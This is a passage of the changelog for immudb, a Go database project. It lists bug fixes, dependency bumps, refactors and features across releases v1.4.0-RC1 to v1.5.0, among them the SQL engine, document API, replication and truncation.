fmt.Sprintf\n- align covered packages when pulling and merging\n- unnecessary use of fmt.Sprintf\n- **cmd/immuclient:** display raw column selector in table header\n- **deps:** bump golang.org/x/net from 0.10.0 to 0.12.0\n- **deps:** bump google.golang.org/grpc from 1.55.0 to 1.56.2\n- **deps:** bump golang.org/x/crypto from 0.13.0 to 0.14.0\n- **deps:** bump golang.org/x/net from 0.14.0 to 0.15.0\n- **deps:** bump google.golang.org/grpc\n- **deps:** bump google.golang.org/grpc in /test/e2e/truncation\n- **deps:** bump google.golang.org/grpc\n- **deps:** bump golang.org/x/crypto from 0.12.0 to 0.13.0\n- **deps:** bump golang.org/x/crypto from 0.10.0 to 0.11.0\n- **deps:** bump golang.org/x/sys from 0.9.0 to 0.10.0\n- **deps:** bump golang.org/x/net from 0.15.0 to 0.17.0\n- **deps:** bump golang.org/x/sys from 0.11.0 to 0.12.0\n- **deps:** bump golang.org/x/net from 0.12.0 to 0.13.0\n- **deps:** bump golang.org/x/sys from 0.10.0 to 0.11.0\n- **deps:** bump golang.org/x/crypto from 0.7.0 to 0.10.0\n- **deps:** bump golang.org/x/net from 0.13.0 to 0.14.0\n- **deps:** bump securego/gosec from 2.15.0 to 2.17.0\n- **deps:** bump github.com/grpc-ecosystem/grpc-gateway/v2\n- **embedded/document:** encoded document using valRef\n- **embedded/document:** register username when applying a change\n- **embedded/document:** attach username when auditing document\n- **embedded/document:** enable multi-indexing in doc engine tests\n- **embedded/sql:** support parenthesis as datatype constraint delimiter\n- **embedded/sql:** multi-snapshop mvvc\n- **embedded/sql:** deletion of primary index path\n- **embedded/sql:** historical queries over primary index\n- **embedded/sql:** dynamic indexing\n- **embedded/sql:** post-commit physical index deletion\n- **embedded/sql:** improve internal index naming\n- **embedded/sql:** uuid decoding\n- **embedded/sql:** unique index creation supported on empty tables\n- **embedded/sql:** temporal queries with multi-indexing\n- **embedded/sql:** transactional drops\n- **embedded/sql:** use declared constant for fixed ids\n- **embedded/sql:** insertion benchmark\n- **embedded/store:** injective index mapper\n- **embedded/store:** history returning value refs\n- **embedded/store:** history with rev count\n- **embedded/store:** ensure index is erased from disk\n- **embedded/store:** indexer alloc its tx\n- **embedded/store:** remove metastate\n- **embedded/store:** multi-indexing\n- **embedded/store:** key reader including historical entries\n- **embedded/store:** ensure snapshot up to date\n- **embedded/store:** indexing callbacks\n- **embedded/store:** wip multi-indexing\n- **embedded/store:** indexing prefix\n- **embedded/store:** entry mapper\n- **embedded/tbtree:** value-preserving history\n- **embedded/tbtree:** fetching historical values\n- **embedded/tbtree:** wip value-preserving history\n- **embedded/tbtree:** context propagation\n- **embedded/tbtree:** value-preserving history\n- **embedded/tbtree:** hcount serialization\n- **pkg/api:** adjust doc serializations to match verification\n- **pkg/api:** endpoint improvements\n- **pkg/client:** add setAll to immuclient mock\n- **pkg/client:** use buf for msg exchange\n- **pkg/database:** increase delay when tx is not present\n- **pkg/database:** fix remote storage paths\n- **pkg/database:** mandatory wait with async replication\n- **pkg/database:** kv count\n- **pkg/database:** doc audit without retrieving payloads\n- **pkg/database:** context propagation\n- **pkg/database:** context propagation\n- **pkg/database:** multi-indexing database\n- **pkg/database:** fix remote storage paths\n- **pkg/database:** register username when applying a change\n- **pkg/database:** keept reading from specific tx\n- **pkg/server:** register username when applying a change in doc apis\n- **pkg/server:** minor code adjustment\n- **pkg/stdlib:** non transactional ddl stmts\n- **pkg/truncator:** use embedded/logger package\n- **pkg/verification:** minor doc verification improvements\n- **swagger:** use embedded logger package\n- **tests:** Tests cleanup\n\n### Code Refactoring\n- **pkg/logger:** move logger from pkg to embedded\n\n### Features\n- add flag for using external id as a main one\n- update readme\n- prevent identifier from creation when use external id option\n- pass logger to heartbeater\n- **embedded/document:** register user when creating collection\n- **embedded/document:** doc audit without retrieving payloads\n- **embedded/document:** add field to collection\n- **embedded/document:** remove field from collection\n- **embedded/sql:** dynamic multi-indexing\n- **embedded/sql:** wip uuid datatype support\n- **embedded/sql:** include _rev column in historical queries\n- **embedded/sql:** drop index and table stmts\n- **embedded/sql:** table history\n- **embedded/sql:** query including historical rows\n- **embedded/sql:** extra metadata when creating tx\n- **embedded/sql:** async multi-indexing\n- **embedded/sql:** drop column stmt\n- **embedded/store:** getBetween\n- **embedded/store:** use index attribute in kv metadata\n- **embedded/store:** extra tx metadata\n- **embedded/store:** transactionaless multi-indexing\n- **embedded/tbtree:** getBetween\n- **embedded/tbtree:** key reader supporting historical values\n- **pkg/api:** include username in document audit response\n- **pkg/api:** re-enable swagger ui\n- **pkg/api:** docAudit returning timestamp and possibility to omit payloads\n- **pkg/api:** add field and remove field endpoints\n- **pkg/database:** add user when creating collection\n- **pkg/server:** add user when creating collection\n\n### Reverts\n- chore: remove initial swagger support\n\n\n<a name=\"v1.5.0\"></a>\n## [v1.5.0] - 2023-06-20\n### Bug Fixes\n- **embedded/store:** handle replication of empty values\n\n### Changes\n- **embedded/document:** naming validations\n- **embedded/document:** allow hyphen in doc naming\n- **embedded/document:** collection and field naming validations\n- **embedded/store:** embedded values and prealloc disabled by default\n\n\n<a name=\"v1.5.0-RC1\"></a>\n## [v1.5.0-RC1] - 2023-06-16\n### Bug Fixes\n- build/Dockerfile.rndpass to reduce vulnerabilities\n- modify tests for new object db initialisation\n- build/Dockerfile.immuclient to reduce vulnerabilities\n- build/Dockerfile.immuadmin to reduce vulnerabilities\n- build/Dockerfile.immuadmin to reduce vulnerabilities\n- build/Dockerfile.full to reduce vulnerabilities\n- table id generation\n- build/Dockerfile.rndpass to reduce vulnerabilities\n- build/Dockerfile.full to reduce vulnerabilities\n- build/Dockerfile.immuclient to reduce vulnerabilities\n- **docs:** bump golang.org/x/net to 0.7.0 in docs and test pkg\n- **embedded/ahtree:** correct calculation of payload offset\n- **embedded/appendable:** proper closing of non-required chunks\n- **embedded/document:** close readers before updating document\n- **embedded/document:** proper column renaming\n- **embedded/document:** assign correct revision number\n- **embedded/document:** proper handling of deleted documents\n- **embedded/document:** support nil docs\n- **embedded/document:** id field conversion\n- **embedded/document:** validate doc is properly initialized\n- **embedded/document:** validate doc is properly initialized\n- **embedded/sql:** parsing of exists stmt\n- **embedded/sql:** multi-row conflict handling\n- **embedded/sql:** like operator supporting null values\n- **embedded/sql:** proper handling of parameters in row readers\n- **embedded/sql:** do not force columns to have max key length when unspecified\n- **embedded/sql:** implicit conversion within expressions\n- **embedded/sql:** include explicit close into sqlTx options\n- **embedded/sql:** consider 0 as no limit\n- **embedded/sql:** crash when RowReader.Read() returns error\n- **embedded/store:** force snapshot to include mandatory mvcc changes\n- **embedded/store:** avoid dead-lock when exporting tx with external commit allowance mode\n- **embedded/store:** ensure snapshot is closed for read-only txs\n- **embedded/store:** integrity checks covering empty values\n- **embedded/tbtree:** fix error comparison\n- **embedded/tbtree:** proper kv validation\n- **embedded/tbtree:** rollback to the most recent snapshot when insertion fails\n- **embedded/tbtree:** fix snapshot getKeyWithPrefix\n- **embedded/tbtree:** fix snapshot getKeyWithPrefix\n- **go.mod:** bump go version to 1.17 in go.mod\n- **helm:** set securityContext and podSecurityContext at correct location\n- **pkg/api:** create collection endpoint with path parameter\n- **pkg/api:** fix and implement LIKE and NOT_LIKE operator when querying documents\n- **pkg/client:** ensure ticker is properly stopped\n- **pkg/client:** return error when verifiedGet operation fails\n- **pkg/database:** fix truncation and contemplate entry-less txs\n- **pkg/database:** read-only document API for replicas\n- **pkg/database:** skip eof error during scan\n- **pkg/database:** wrap propagated context\n- **pkg/database:** read from err channel\n- **pkg/replicator:** check stream is properly initialized\n- **pkg/server:** ensure tx is closed upon error\n- **pkg/server:** request explicit close when creating a rw sql tx\n- **pkg/server:** ensure error propagation when sending headers\n- **pkg/server:** thread-safe doc reader during session handling\n- **pkg/server:** close document readers before cancelling txs\n- **pkg/server:** do not set trailer metadata when replication is done with bidirectional streamming\n- **pkg/server:** use grpc interceptors with grpc proxy\n- **pkg/stream:** handle the case when message fits in a single chunk\n- **pkg/truncator:** adjust plan logic and contemplate empty txs\n- **pkg/verification:** document comparison with proto equals\n- **push.yml:** update min go version\n\n### Changes\n- exclude generated code from coverage\n- TruncateDatabase endpoint should use the same ongoing Truncator if present\n- add ReadN method to document reader\n- rename DocumentBulkInsert to DocumentInsertMany\n- generate proto requests for DocumentDelete api\n- exclude generated code from coverage\n- use sys/unix package\n- remove docker test provider\n- use sql statement for delete than raw query\n- use gosec action\n- add monotically increasing number to doc id generation\n- add document audit api\n- check invalid search id in search request\n- wait for immudb to get initialized\n- add DocumentDelete api\n- add go-acc and goveralls to ext-tools folder\n- copy document catalogue when truncating db\n- handle no more doc error inside response in search\n- return ErrNoMoreDocuments instead of sql.ErrNoMoreRows\n- replace schemav2 with protomodel in truncator test\n- add order by clause in search\n- allow multiple order by clauses\n- add unique search id for paginated readers\n- add documentReader iterator to read documents\n- add bulk insert api\n- remove initial swagger support\n- return sql reader on document search\n- Update build/RELEASING.md file\n- add option for non unique indexes on collection\n- change DocumentFindOneAndUpdate to DocumentUpdate\n- simplified codegen\n- add pagination support when fetching documents\n- address review comment\n- update document with id if not nil\n- pass transaction to upsert function\n- add DocumentFindOneAndUpdate api\n- add default size for document reader lru cache\n- add lru cache for paginated readers\n- Add reformatting of protobuf file on build/codegen\n- fix merge issues\n- fix failing verification test\n- increase test coverage for document engine\n- change DeleteTableStmt to DropTableStmt\n- fix tests\n- fix TestFloatSupport test case\n- add test case for uncommitted tx not increasing table count\n- add updatecollection api\n- check for column before adding index on collection update\n- delete columns on table deletion\n- **ci:** improve notifications\n- **cmd/immuadmin:** flag to specify the usage of embedded values\n- **cmd/immuadmin:** modify truncation settings schema\n- **cmd/immuadmin:** add truncate cmd to immuadmin\n- **deps:** bump github.com/rs/xid from 1.3.0 to 1.5.0\n- **deps:** bump securego/gosec from 2.14.0 to 2.15.0\n- **deps:** bump github.com/golang/protobuf from 1.5.2 to 1.5.3\n- **deps:** bump github.com/influxdata/influxdb-client-go/v2\n- **deps:** bump github.com/spf13/viper from 1.12.0 to 1.15.0\n- **deps:** bump golang.org/x/net from 0.8.0 to 0.9.0\n- **deps:** bump golang.org/x/crypto\n- **deps:** bump github.com/grpc-ecosystem/grpc-gateway/v2\n- **deps:** bump aws-actions/configure-aws-credentials from 1 to 2\n- **deps:** bump github.com/spf13/cobra from 1.2.1 to 1.6.1\n- **deps:** bump github.com/rogpeppe/go-internal from 1.8.0 to 1.9.0\n- **deps:** bump github.com/codenotary/immudb\n- **deps:** bump google.golang.org/grpc from 1.46.2 to 1.54.0\n- **deps:** bump github.com/stretchr/testify from 1.8.0 to 1.8.2\n- **deps:** bump github.com/jaswdr/faker from 1.4.3 to 1.16.0\n- **deps:** bump github.com/lib/pq from 1.10.7 to 1.10.9\n- **deps:** bump github.com/lib/pq from 1.10.2 to 1.10.7\n- **embedded/ahtree:** add inline comments\n- **embedded/appendable:** use fdatasync when file is preallocated\n- **embedded/appendable:** file syncing per os\n- **embedded/appendable:** support file preallocation\n- **embedded/appendable:** file syncing using fdatasync when available\n- **embedded/appendable:** fsync freebsd\n- **embedded/appendable:** minor improvements reading files\n- **embedded/appendable:** automatic file creation only when appending\n- **embedded/appendable:** metadats with putBool\n- **embedded/document:** move source code into dedicated files\n- **embedded/document:** add test cases for collection on doc engine\n- **embedded/document:** transactional collection update\n- **embedded/document:** improve error handling\n- **embedded/document:** retrieval of raw document\n- **embedded/document:** typo in error message\n- **embedded/document:** raw document validation\n- **embedded/document:** transactional collection and document creation\n- **embedded/document:** use onclose callback to close the tx\n- **embedded/document:** return struct when auditing document history\n- **embedded/document:** add test to ensure key ordering in document during serialization\n- **embedded/document:** blob type not yet supported\n- **embedded/document:** catch key alredy exists  error\n- **embedded/document:** catch tx read conflict error\n- **embedded/document:** translate table already exists error\n- **embedded/document:** minor var renaming\n- **embedded/document:** minor code adjustments\n- **embedded/document:** transactional document creation\n- **embedded/document:** use query limit when searching\n- **embedded/document:** add collection deletion api support\n- **embedded/document:** wip continue with improvements\n- **embedded/document:** wip continue with improvements\n- **embedded/document:** wip continue with improvements\n- **embedded/document:** wip improvements\n- **embedded/document:** add float support for doc engine\n- **embedded/document:** binary serialization of doc payload\n- **embedded/document:** remove dead-code\n- **embedded/document:** avoid public dependency on sql\n- **embedded/document:** change querier from BinBoolExp to CmpBoolExp\n- **embedded/document:** support null values in indexed attributes\n- **embedded/document:** add variable length support for multiple types\n- **embedded/document:** possibility to specify desc order when querying document history\n- **embedded/document:** add tests for blob type\n- **embedded/document:** improve error messages\n- **embedded/document:** improve error messages\n- **embedded/document:** ensure order by clauses are used when deleting and updating\n- **embedded/document:** minor code simplification\n- **embedded/document:** fix query stmt generator and add tests\n- **embedded/document:** leverage sqlengine lazy index contraint evaluation\n- **embedded/document:** add document id generation\n- **embedded/htree:** allow creation of empty hash trees\n- **embedded/object:** add document abstraction\n- **embedded/object:** add collection/database statements\n- **embedded/sql:** make sql engine generic for object store\n- **embedded/sql:** ddl stmts register catalog mutation\n- **embedded/sql:** implicit conversion from varchar to int and float types\n- **embedded/sql:** lazy index contraint validation\n- **embedded/sql:** validate total key length at index creation time\n- **embedded/sql:** extend max key length to 512\n- **embedded/sql:** limit and offset boundary validation\n- **embedded/sql:** minor numeric type adjustments\n- **embedded/sql:** implicit conversion support in limit and offset clauses\n- **embedded/sql:** WIP singledb sql engine\n- **embedded/sql:** simplified sql tx\n- **embedded/sql:** cancellable row reader\n- **embedded/sql:** transient context\n- **embedded/sql:** use read-only txs whenever possible\n- **embedded/sql:** return closed sql txs\n- **embedded/sql:** snapshot reuse improvements\n- **embedded/sql:** upgraded row reader\n- **embedded/store:** minor changes after rebasing from master\n- **embedded/store:** multi-tx unsafe mvcc\n- **embedded/store:** multi-tx bulk indexing\n- **embedded/store:** set tx as closed upon cancellation\n- **embedded/store:** simplified indexer initialization\n- **embedded/store:** set smaller default value for indexing bulk size\n- **embedded/store:** inline comments\n- **embedded/store:** contextualized transactions\n- **embedded/store:** propagate context usage\n- **embedded/store:** set ctx as first argument\n- **embedded/store:** set ctx as first argument\n- **embedded/store:** multi-timed bulk insertions\n- **embedded/store:** tx header is returned when fully committed\n- **embedded/store:** simplified dualproof implementation\n- **embedded/store:** transient context\n- **embedded/store:** added more in-line comments\n- **embedded/store:** context propagation\n- **embedded/store:** mvcc validations\n- **embedded/store:** addition of a cache for values\n- **embedded/store:** add min limit for truncation frequency\n- **embedded/store:** safe key copy for mvcc validation\n- **embedded/store:** add min limit for truncation frequency\n- **embedded/store:** wip mvcc validations\n- **embedded/store:** add hashValue as fixed 32 byte size\n- **embedded/store:** fix rebase issue with readValueAt for vlogcache\n- **embedded/store:** fix default vlog cache size and add validation for hash when reading from cache\n- **embedded/store:** add test for TxOptions\n- **embedded/store:** optional integrity checking\n- **embedded/store:** embedded meta attribute required if version is greater than 1\n- **embedded/store:** optional integrity checking when reading values\n- **embedded/store:** api upgrade\n- **embedded/store:** set embedded values mode as default one\n- **embedded/store:** backward compatible embedded value mode\n- **embedded/store:** skipIntegrityCheck parameter when reading data\n- **embedded/store:** preallocate tx header log files\n- **embedded/store:** support preallocated files when reading tx data\n- **embedded/store:** wip preallocated clog\n- **embedded/store:** option to prealloc files\n- **embedded/store:** improve log messages when discarding precommitted transactions\n- **embedded/store:** validate Eh only when integrity checks are not disabled\n- **embedded/store:** consume all tx content even if integrity checks are disabled\n- **embedded/store:** optional integrity checking when reading values\n- **embedded/store:** clog file size adjustment only when preallocation is disabled\n- **embedded/store:** handle eof when reading last committed tx\n- **embedded/store:** validate Eh only when integrity checks are not disabled\n- **embedded/store:** wip mvcc validations\n- **embedded/store:** wip mvcc validations\n- **embedded/store:** make truncation validation tolerate entryless txs\n- **embedded/store:** allow tx without entries as long as it contains metadata\n- **embedded/store:** update ReadBetween\n- **embedded/store:** unify Read and ReadBetween\n- **embedded/store:** use syncSnapshot to validate ongoing txs\n- **embedded/store:** file preallocation not enabled by default\n- **embedded/store:** further in-line documentation\n- **embedded/store:** snapshot reuse improvements\n- **embedded/store:** mvcc validation only if another tx was processed\n- **embedded/store:** inline comments\n- **embedded/store:** readValueAt and exportTx improvements\n- **embedded/store:** minor code improvement\n- **embedded/store:** fix typo in inline comment\n- **embedded/store:** add in-line documentation for store options\n- **embedded/store:** validate gets using filters\n- **embedded/store:** MVCC read-set with boundaries\n- **embedded/tbtree:** initialize tbtree with a non-mutated leaf\n- **embedded/tbtree:** rollback not needed as updates are made in a copy\n- **embedded/tbtree:** variable renaming after rebasing\n- **embedded/tbtree:** add in-line documentation\n- **embedded/tbtree:** parametrize snapshot creation specs\n- **embedded/tbtree:** optimize snapshot renewal\n- **embedded/tbtree:** getWithPrefix\n- **embedded/tbtree:** add in-line comments\n- **embedded/tbtree:** wip optimized insertion\n- **embedded/tbtree:** optimized bulk insertion\n- **embedded/tbtree:** wip reduce allocs while updating inner node\n- **embedded/tbtree:** in-line documentation\n- **embedded/tbtree:** minor code improvements\n- **embedded/tbtree:** remove unnecessary kv sorting\n- **embedded/tools:** upgrade embedded tools with transient context\n- **embedded/watchers:** set ctx as first arg\n- **embedded/watchers:** return context error upon cancellation\n- **embedded/watchers:** use context instead of cancellation channel\n- **package/database:** bunch of fixes and improvements in document engine\n- **pkg:** add more tests admin truncate command\n- **pkg/api:** remove generated httpclient\n- **pkg/api:** use of path parameters for document-related endpoints\n- **pkg/api:** search api improvements\n- **pkg/api:** remove bool from tx metadata conversion\n- **pkg/api:** swagger gen\n- **pkg/api:** snapshot reuse attributes\n- **pkg/api:** expose new store indexing options\n- **pkg/api:** document api improvements\n- **pkg/api:** revised document and authentication apis\n- **pkg/api:** remove unsupported attribute from response messages\n- **pkg/api:** manual adjustments post-code generation\n- **pkg/api:** re-generated httpclient with DeleteDocument endpoint\n- **pkg/api:** return txID when inserting or updating documents\n- **pkg/api:** cleaner session id header\n- **pkg/api:** document api improvements\n- **pkg/api:** document update with path parameter\n- **pkg/api:** rename idFieldName to documentIdFieldName\n- **pkg/api:** expose MVCC read-set settings\n- **pkg/api:** endpoint renaming\n- **pkg/api:** expose replication settings for skipping integrity checks and indexing\n- **pkg/api:** expose db setting to enable file preallocation\n- **pkg/api:** add tx metadata conversion\n- **pkg/api:** expose embeddedValue database setting\n- **pkg/api:** authorization in swagger spec\n- **pkg/api:** re-generated httpclient\n- **pkg/api:** singular document path for audit and proof endpoints\n- **pkg/api:** revert changes in swagger spec\n- **pkg/api:** value cache settings exposed\n- **pkg/api:** annotate primitive types as required\n- **pkg/api:** buch of implementation improvements\n- **pkg/api:** minor proof request renaming\n- **pkg/api:** re-generated httpclient\n- **pkg/api:** use ErrrIs/ErrorContains in error checks\n- **pkg/api:** annotated required message fields\n- **pkg/api:** expose support for unsafe mvcc transactions\n- **pkg/api:** change retention period in TruncateDatabase message to int64\n- **pkg/api:** annotate required fields\n- **pkg/auth:** add document update permissions\n- **pkg/client:** move heartbeater.go to pkg/client\n- **pkg/client:** minor renaming in tx options\n- **pkg/client/cache:** improve test coverage\n- **pkg/database:** add object store\n- **pkg/database:** add search document api implementation for object store\n- **pkg/database:** create txs with default options\n- **pkg/database:** implement GetCollection API\n- **pkg/database:** change objectEngine to documentEngine\n- **pkg/database:** add mvcc test for truncation, parse retention period using duration\n- **pkg/database:** add more tests for truncation\n- **pkg/database:** remove search through first query\n- **pkg/database:** upgraded reader specs\n- **pkg/database:** hard limit on page size\n- **pkg/database:** fix truncation deletion point checks in test\n- **pkg/database:** minor code aligments\n- **pkg/database:** add document store db initialisation\n- **pkg/database:** updated APIs with schema updates\n- **pkg/database:** add document engine abstraction\n- **pkg/database:** context propagation\n- **pkg/database:** add and implement object db interface\n- **pkg/database:** snapshot reuse changes\n- **pkg/database:** create document/collection from schemav2 requests\n- **pkg/database:** upgrade after rebasing\n- **pkg/database:** use _obj to hold raw document payload\n- **pkg/database:** context propagation from server to embedded layer\n- **pkg/database:** remove object store db initialisation\n- **pkg/database:** proper calculation of source tx\n- **pkg/database:** document verfication\n- **pkg/database:** add DocumentUpdate api\n- **pkg/database:** check encoded value is consistent with raw document\n- **pkg/database:** add query parser for object to generate sql expression\n- **pkg/database:** add document query struct to abstract request query\n- **pkg/database:** minor document renaming\n- **pkg/integration:** exportTx benchmarking\n- **pkg/replication:** replicator using bidirectional streaming\n- **pkg/replication:** wip stream replication - only async replication working\n- **pkg/replication:** skip integrity check when exporting transactions\n- **pkg/replication:** context propagation\n- **pkg/replication:** improve options validation\n- **pkg/server:** upgrades after rebasing from master\n- **pkg/server:** integrate document functions with server apis\n- **pkg/server:** context propagation from grpc api to embedded package\n- **pkg/server:** multi-grpc request context propagation\n- **pkg/server:** minor code reuse\n- **pkg/server:** add pagination test for document search\n- **pkg/server:** add test successful load/unload of db with truncator\n- **pkg/server:** log error when closing document reader\n- **pkg/server:** ensure document reader is closed when swithing pages\n- **pkg/server:** support snapshot reuse\n- **pkg/server:** upgrade to new insecure credentials api\n- **pkg/server:** close all paginated readers on close of session\n- **pkg/server:** added inline comments\n- **pkg/server:** set default replication settings\n- **pkg/store:** skipIntegrityChecks parameter when reading data\n- **pkg/stream:** handle eof when sending data\n- **pkg/truncator:** return error if expiration time hasn't been met\n- **pkg/truncator:** add context to Truncate method\n- **pkg/truncator:** refactor truncator process\n- **pkg/verfication:** document verification methods\n- **pkg/verification:** strengthen proof validations\n- **pkg/verification:** use proto serialization\n- **pkg/verification:** minor renaming\n- **pkg/verification:** document verification using embedded identifier\n- **test/objects:** add tests to create collections\n- **test/objects:** add more tests to create collection\n- **test/objects:** use httpexpect\n- **test/perf:** fix version value for flag\n- **test/perf:** add immudb version to influxdb data\n- **test/perf:** add runner to results for influxdb\n- **test/perf-tests:** remove runner check\n- **test/perf-tests:** use proxy on benchmark runner\n- **test/performance:** call cleanup method\n- **test/performance-test-suite:** send results to influxdb\n- **test/performance-test-suite:** add influxdb host and toke arguments\n- **test/performance-test-suite:** add sync benchmarks\n- **test/performance-test-suite:** extract json from results\n- **test/performance-test-suite:** fix replica directory path\n- **test/performance-test-suite:** use temp folders for primary, replicas and clients\n- **test/performance-test-suite:** replicas are able to communicate with primary\n- **test/performance-test-suite:** changed server concrete implementation\n- **truncator:** add more coverage for truncator\n\n### Features\n- add vlog truncation functionality\n- **ci:** change notification\n- **embedded/document:** count documents\n- **embedded/object:** add object store to embedded pkg\n- **embedded/sql:** limit and offset as expressions\n- **embedded/sql:** wip unsafe and optimized mvcc\n- **embedded/sql:** sql transaction creation with options\n- **embedded/sql:** short casting syntax\n- **embedded/sql:** implicit type conversion of numeric types\n- **embedded/sql:** Initial float support\n- **embedded/store:** unsafe mvcc mode\n- **embedded/store:** embeddable values\n- **embedded/store:** read-only transactions\n- **embedded/store:** embedded values option\n- **embedded/store:** tx creation with options\n- **embedded/store:** expose GetWithPrefixAndFilters\n- **embedded/store:** GetWithPrefixAndFilters\n- **embedded/tbtree:** multi-timed bulk insertions\n- **pkg/api:** keepOpen parameter to instruct server to maintain a document reader in memory\n- **pkg/api:** improved replace documents endpoint\n- **pkg/api:** count documents endpoint\n- **pkg/api:** document proof endpoint\n- **pkg/client:** optional tx options are now available during the creation process\n\n\n<a name=\"v1.4.1\"></a>\n## [v1.4.1] - 2022-11-21\n### Changes\n- **pkg/server:** Add logs for activities related to users\n\n\n<a name=\"v1.4.1-RC1\"></a>\n## [v1.4.1-RC1] - 2022-11-16\n### Bug Fixes\n- Change replication-related terms in tests\n- Change replication-related terms in codebase\n- **cmd:** Rename replication flags to follow consistent convention\n- **cmd/immudb:** Fix description of the `force-admin-password` flag\n- **cmd/immudb:** Better description of the `--force-admin-password` flag\n- **embedded/appendable:** fsync parent directory\n- **embedded/appendable:** fsync parent folder in remote appedable\n- **pkg:** Rename replication-related fields in GRPC protocol\n- **pkg/client:** Delay server identity validation\n- **pkg/client/cache:** Add methods to validate server identity\n- **pkg/client/cache:** Validate server's identity\n- **pkg/server:** Remove includeDeactivated flag when querying for users\n- **pkg/server/servertest:** Fix resetting grpc connection\n- **pkg/server/servertest:** Add uuid to buffconn server\n- **test/perf-test-suite:** Avoid dumping immudb logo on perf test results file\n- **test/performance-test-suite:** Ensure results are shown after proper is finished\n- **verification:** Additional Linear proof consistency check\n- **verification:** Recreate linear advance proofs for older servers\n\n### Changes\n- **ci:** migrate deprecating set-output commands\n- **cmd/immudb:** Allow resetting sysadmin password\n- **docs/security:** Add resources for the linear-fake vulnerability\n- **docs/security:** Be less specific about package version in examples\n- **embedded/appendable:** sync directories\n- **embedded/store:** Remove AHT Wait Hub\n- **embedded/store:** Disable asynchronous AHT generation\n- **pkg/client:** Document `WithDisableIdentityCheck` option\n- **pkg/client/cache:** Limit the hash part of the identity file name\n- **pkg/client/cache:** Describe serverIdentity parameter\n- **pkg/client/state:** Cleanup mutex handling in StateService\n- **pkg/server:** Warn if sysadmin user password was not reset\n- **pkg/server:** Better warning for unchanged admin password\n- **test/performance-test-suite:** Add summary to json output\n\n### Features\n- **ci:** fix message and input\n- **ci:** add runner name to mattermost message header\n- **ci:** simplify results extraction\n- **ci:** extract performance tests into separate workflow to be reused\n- **ci:** add scheduled daily test runs and send results to Mattermost\n- **pkg/replication:** Disable server's identity check in internal replication\n\n\n<a name=\"v1.4.0\"></a>\n## [v1.4.0] - 2022-10-12\n### Bug Fixes\n- **build:** Do not publish official non-dev images on RC tags\n- **pkg/client:** replace keepAlive context from the original one to the background, avoiding parent expiration\n\n### Changes\n- Rename sync-followers to sync-acks\n- **cmd/immuclient:** include precommit state when quering status\n- **pkg/server:** Better error message when validating replication options\n\n\n<a name=\"v1.4.0-RC2\"></a>\n## [v1.4.0-RC2] - 2022-10-10\n### Bug Fixes\n- **build:** Use correct binary download links\n- **embedded/store:** edge-case calculation of precommitted tx\n- **embedded/watchers:** Fix invariant breakage in watchers\n- **embedded/watchers:** Fix invariant breakage in watchers\n- **pkg/database:** any follower can do progress due to its prefech buffer\n- **pkg/replication:** Do not crash on invalid tx metadata\n- **pkg/replication:** handle replication already closed case\n- **pkg/replication:** discard precommitted txs and continue from latest committed one\n- **pkg/replication:** solve issues when follower diverged from master\n- **wmbedded/watchers:** Correctly fix the original implementation\n\n### Changes\n- **embedded/watchers:** Simplify and document cancellation path\n- **embedded/watchers:** Simplify mutex locking code\n- **embedded/watchers:** single-point for init and cleanup\n- **pkg/database:** simplify follower's wait\n- **pkg/database:** wait for tx when a non-existent or non-ready transaction is requested\n- **pkg/database:** add TODO comment on replication passive waiting\n- **pkg/replication:** Add TX gap metrics\n- **pkg/replication:** Add basic replication metrics\n- **pkg/replication:** improve replication logging\n\n\n<a name=\"v1.4.0-RC1\"></a>\n## [v1.4.0-RC1] - 2022-10-04\n### Bug Fixes\n- **Makefile:** add fips build flag to test/fips\n- **Makefile:** remove interactive flag from dist/fips command\n- **ci:** fix regex pattern for fips binaries\n- **cmd/immuadmin:** set correct  data-type for replication-sync-followers flag\n- **embedded/store:** Fix checking for closed store when syncing TXs\n- **embedded/store:** avoid attempts to commit in wrong order\n- **embedded/store:** expose durable precommitted state\n- **embedded/store:** include allowPrecommitted into tx reader construction\n- **embedded/store:** ensure tx is released upon error\n- **embedded/store:** aht up to precommited tx\n- **embedded/store:** fix size calculation of precommitted txs\n- **github:** Update github actions after migration of Dockerfile's\n- **pkg/database:** Fix mutex lock in ExportTx\n- **pkg/database:** return master commit state if failing to read follower precommitted one\n- **pkg/database:** set follower states holder when changing replication status\n- **pkg/server:** add logs when replicator does not start\n\n### Changes\n- add dependabot config\n- Add empty line between license header and package\n- **Dockerfile.fips:** add fips build changes\n- **cmd/immuadmin:** use default immudb port as default value for replication-master-port flag\n- **cmd/immuadmin:** revert default replication-master-port\n- **cmd/immuadmin:** add new replication flags\n- **cmd/immuclient:** flag replication-sync-enabled to enable sync replication\n- **cmd/immudb:** deprecate replication-enabled towards replication-is-replica\n- **docker:** Move main Dockerfile's to build folder\n- **docker:** Simplify the main Dockerfile\n- **embedded/store:** waits for durable precommitted txs\n- **embedded/store:** wip wait for precommitted txs\n- **embedded/store:** mutexless export-tx\n- **embedded/store:** method to dynamically switch to external allowance\n- **embedded/store:** wip reduce allocations in exportTx\n- **embedded/store:** enhanced tx discarding logic\n- **embedded/store:** resolve pre-committed using clogbuf\n- **embedded/store:** wip load precommitted txs\n- **embedded/store:** minor code simplification\n- **embedded/store:** handle commit case when there is nothing new to commit\n- **embedded/store:** support for concurrent replicated precommits\n- **embedded/store:** tx parsing with sanity checks\n- **embedded/store:** add integrity checks when reading precommitted txs\n- **embedded/store:** tolerate partial data or inconsistencies when loading pre-committed txs\n- **embedded/store:** explanatory comments added\n- **embedded/store:** explicit allowPrecommitted and restricted access to precommitted txs\n- **embedded/store:** minor renaming and comment additions\n- **embedded/store:** possibility to read tx header of precommitted txs\n- **pkg/api:** explicit sync replication setting\n- **pkg/api:** currentState endpoint includes precommitted info\n- **pkg/api/schema:** reformat schema.proto file\n- **pkg/database:** improve error comparison\n- **pkg/database:** handle special case related to sql initialization\n- **pkg/database:** follower commit progress without additional waits\n- **pkg/database:** sync exportTx\n- **pkg/database:** minor typo in comment\n- **pkg/database:** disable automatic sql init on older databases\n- **pkg/integration:** add synchronous replication integration tests\n- **pkg/replication:** improve error comparison\n- **pkg/replication:** handling a particular case in an optimized manner\n- **pkg/replication:** speed up follower reconnection\n- **pkg/replication:** replicator with backward compatibility mode\n- **pkg/replication:** check committedTxID from master\n- **pkg/replication:** graceful closing\n- **pkg/replication:** use session-based authentication\n- **pkg/replication:** handle case when follower precommit state is up-to-date but commit state is lies behind\n- **pkg/replication:** sync replication using follower state\n- **pkg/replication:** allowPreCommitted only with sync replication enabled\n- **pkg/replication:** wip optimize concurrency in replicators\n- **pkg/replication:** configurable prefetchTxBufferSize and replicationCommitConcurrency\n- 